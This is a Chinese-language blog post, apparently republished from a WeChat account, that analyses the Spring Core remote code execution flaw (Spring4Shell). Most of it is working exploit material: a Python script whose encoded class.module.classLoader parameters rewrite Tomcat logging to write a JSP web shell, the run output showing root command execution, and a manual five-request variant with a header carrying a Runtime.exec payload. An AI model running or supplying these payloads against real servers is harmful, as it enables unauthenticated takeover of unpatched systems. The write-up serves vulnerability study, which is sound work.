Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
POC:
https://github.com/liudonghua123/spring-core-rce
D:Downloads>python spring-core-rce-exp.py --url "http://127.0.0.1:8082"
The vulnerability exists, the shell address is :http://127.0.0.1:8082/tomcatwar.jsp?pwd=j&cmd=whoami
got response:
D:Downloads>python spring-core-rce-exp.py --url "http://127.0.0.1:8082"
The vulnerability exists, the shell address is :http://127.0.0.1:8082/tomcatwar.jsp?pwd=j&cmd=whoami
got response: root
POC分析:
在POC当中,依然可以看到受利用的Class属性 an headers,下面这段是headers。
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
因为这个漏洞中Spring参数自带class属性缓存,下面POC当中的Class写法也是通过,Tomcat⽇志配置构造利用链。
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
下面这段就是一个写shell的内容了
go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(f'{shellurl}?pwd=j&cmd=whoami', timeout=15, allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
print(f"got response: {shellgo.text}")
else:
print(f"The vulnerability seems does not exists")
print(f"got response: {shellgo.status_code} / {shellgo.text}")
except Exception as e:
print(e)
pass
漏洞条件:
-
JDK9及其以上版本;
-
使⽤了Spring-beans包;
-
使⽤了Spring参数绑定;
-
Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;
java.beans
首先java.beans,为一个实体类,这个类对接数据库表结构,bean(即Java bean)就是Java的类,或者说,就是Java语言的组件,充分体现了Java语言平台独立和面向对象编程的优势。JavaBeans是一代网络程序员的资源。它是Java语言的组件:bean的接口和通讯部分的标准,实现了bean的复用。
Spring参数:
-
Header参数
-
Response部分Header
-
注解方式的绑定参数
-
无注解的绑定参数
我们可以看 https://blog.csdn.net/JokerLJG/article/details/120400270
以下内容是在github已公开下载链接-我将exp.py去除掉了,有些win10系统会检测文件,今天我测试很多都是有问题(被检测出病毒)的exp,并且还会回显一个美国IP,所以在这方面使用过程中需要注意。https://github.com/dioos886/Spring-Core-0day-PDF
Spring参数绑定非基本参数以下图
在Spring参数绑定自带一个class属性,待绑定POJO类,我们很简单的就可以获取到 class 对 象,那剩下的就是利⽤这个 class 对象构造利⽤链了
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
注意以上的Class对象是唯一后面写Shell的一部分,当然也是调用到了需要绑定的参数数据结构POJO,这里就不放出来了。
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=以上是发送的请求那么久能达到开发方的几张图的效果。
发送完毕这5个请求后,Tomcat的⽇志配置被修改成如下:
接着我们只需要随便发送⼀个请求,加⼀个叫fuck的header,即可写⼊shell:
GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none Sec-Fetch-User: ?1
访问shell
总结:
这⾥既然可以调⽤到class对象了,那么利⽤⽅式肯定不⽌写⽇志这⼀种;后续可以跟⼀下,为啥参数绑定过程中会保留⼀个POJO的class引⽤?在后面我们可能会看到更详细的分析内容。
其它参考内容:
https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
https://www.cyberkendra.com/2022/03/spring4shell-details-and-exploit-code.html
原文始发于微信公众号(Ots安全):Spring core POC - 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论